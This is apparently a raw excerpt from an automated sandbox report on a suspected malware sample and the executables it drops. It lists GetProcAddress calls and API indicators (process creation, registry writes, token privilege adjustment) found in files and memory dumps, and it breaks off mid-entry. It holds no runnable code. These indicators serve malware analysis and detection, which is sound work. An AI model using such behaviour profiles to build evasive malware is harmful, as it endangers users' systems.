"GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter DecryptFileA (UID: 00000000-00008168) "e410310c63297392eb3ce82844bfe3e7.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00008168) "Uj4GY78.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter DecryptFileA (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter FeClientInitialize (UID: 00000000-00003812) "Uj4GY78.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00003812) "wn3FW36.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter DecryptFileA (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter FeClientInitialize (UID: 00000000-00003484) "wn3FW36.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00003484) "3KS02RZ.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006972) "3KS02RZ.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006972)34:T1674,Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00003484.00000000.68876.02A00000.00000004.mdmp, 00000000-00003484.00000001.70797.02C50000.00000004.mdmp, 00000000-00003484.00000002.72714.02C50000.00000004.mdmp") Found reference to API "levateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00003484.00000001.70797.02C50000.00000004.mdmp, 00000000-00003484.00000002.72714.02C50000.00000004.mdmp") Found reference to API "ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00003484.00000001.70797.02C50000.00000004.mdmp, 00000000-00003484.00000002.72714.02C50000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00003484.00000001.70797.02C50000.00000004.mdmp, 00000000-00003484.00000002.72714.02C50000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00003484.00000001.70797.02C50000.00000004.mdmp, 00000000-00003484.00000002.72714.02C50000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00003484.00000001.70797.02C50000.00000004.mdmp, 00000000-00003484.00000002.72714.02C50000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00003484.00000001.70797.02C50000.00000004.mdmp, 00000000-00003484.00000002.72714.02C50000.00000004.mdmp") Found reference to API "PRINT,NS_ElevateCreateProcess::APIHook_CreateProcessA,318,[ApiName] Hook Entered" (Indicator: "CreateProcess"; Source: "00000000-00003484.00000001.70797.02C50000.00000004.mdmp, 00000000-00003484.00000002.72714.02C50000.00000004.mdmp") Found reference to API "1336327524,2316,3136,,CreateProcessA,kernel32.dll,"00:17:51.812",RX=0,PX=0" (Indicator: "CreateProcess"; Source: "00000000-00003484.00000001.70797.02C50000.00000004.mdmp, 00000000-00003484.00000002.72714.02C50000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.03160000.00000004.mdmp") Found reference to API "levateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp") Found reference to API "ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp") Found reference to API "PRINT,NS_ElevateCreateProcess::APIHook_CreateProcessA,318,[ApiName] Hook Entered" (Indicator: "CreateProcess"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp") Found reference to API "1304031031,7516,3136,,CreateProcessA,kernel32.dll,"00:17:51.187",RX=0,PX=0" (Indicator: "CreateProcess"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00006972.00000000.68917.03020000.00000004.mdmp, 00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000000.68917.032D0000.00000004.mdmp, 00000000-00006972.00000002.72754.03020000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found reference to API "levateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00006972.00000000.68917.03020000.00000004.mdmp, 00000000-00006972.00000002.72754.03020000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp")35:T10ad,Found reference to API "RegCreateKeyExA" (Indicator: "RegCreateKey"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "RegCreateKeyExA" (Indicator: "RegCreateKey"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00003484.00000001.70797.02C50000.00000004.mdmp, 00000000-00003484.00000002.72714.02C50000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00003484.00000001.70797.02C50000.00000004.mdmp, 00000000-00003484.00000002.72714.02C50000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00003484.00000001.70797.02C50000.00000004.mdmp, 00000000-00003484.00000002.72714.02C50000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00003484.00000001.70797.02C50000.00000004.mdmp, 00000000-00003484.00000002.72714.02C50000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp") Found reference to API "RegCreateKeyExA" (Indicator: "RegCreateKey"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00008168.00000001.70707.00600000.00000004.mdmp, 00000000-00008168.00000002.72624.00600000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00008168.00000001.70707.00600000.00000004.mdmp, 00000000-00008168.00000002.72624.00600000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00008168.00000001.70707.00600000.00000004.mdmp, 00000000-00008168.00000002.72624.00600000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00008168.00000001.70707.00600000.00000004.mdmp, 00000000-00008168.00000002.72624.00600000.00000004.mdmp") Found reference to API "RegCreateKeyExA" (Indicator: "RegCreateKey"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp")36:T97d,Found reference to API "CreateFileA" (Indicator: "CreateFile"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API "CreateFileW" (Indicator: "CreateFile"; File: "6NB6dz2.exe.1433957273") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00003484.00000000.68876.0083A000.00000002.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00003484.00000001.70797.02C50000.00000004.mdmp, 00000000-00003484.00000002.72714.02C50000.00000004.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00003484.00000001.70797.02C50000.00000004.mdmp, 00000000-00003484.00000002.72714.02C50000.00000004.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00003812.00000001.70756.02F00000.00000004.mdmp, 00000000-00003812.00000002.72677.02F00000.00000004.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00003812.00000002.72677.000FA000.00000002.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00006972.00000000.68917.030B0000.00000004.mdmp, 00000000-00006972.00000002.72754.030B0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00008168.00000001.70707.00600000.00000004.mdmp, 00000000-00008168.00000002.72624.00600000.00000004.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00008168.00000001.70707.00600000.00000004.mdmp, 00000000-00008168.00000002.72624.00600000.00000004.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00008168.00000002.72624.00E8A000.00000002.mdmp")37:Tf4ef,Found reference to API (Indicator: "CheckTokenMembership"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "HeapSetInformation"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "DecryptFileA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "SHBrowseForFolder"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "SHGetPathFromIDList"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GetTokenInformation"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "RegDeleteValueA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "RegOpenKeyExA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "RegQueryInfoKeyA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "FreeSid"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "OpenProcessToken"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "RegSetValueExA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "RegCreateKeyExA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "LookupPrivilegeValueA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "AllocateAndInitializeSid"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "RegQueryValueExA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "EqualSid"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "RegCloseKey"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "AdjustTokenPrivileges"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GetShortPathNameA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GetModuleFileNameA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "FindFirstFileA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "GetCurrentProcess"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to API (Indicator: "FindNextFileA"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found reference to 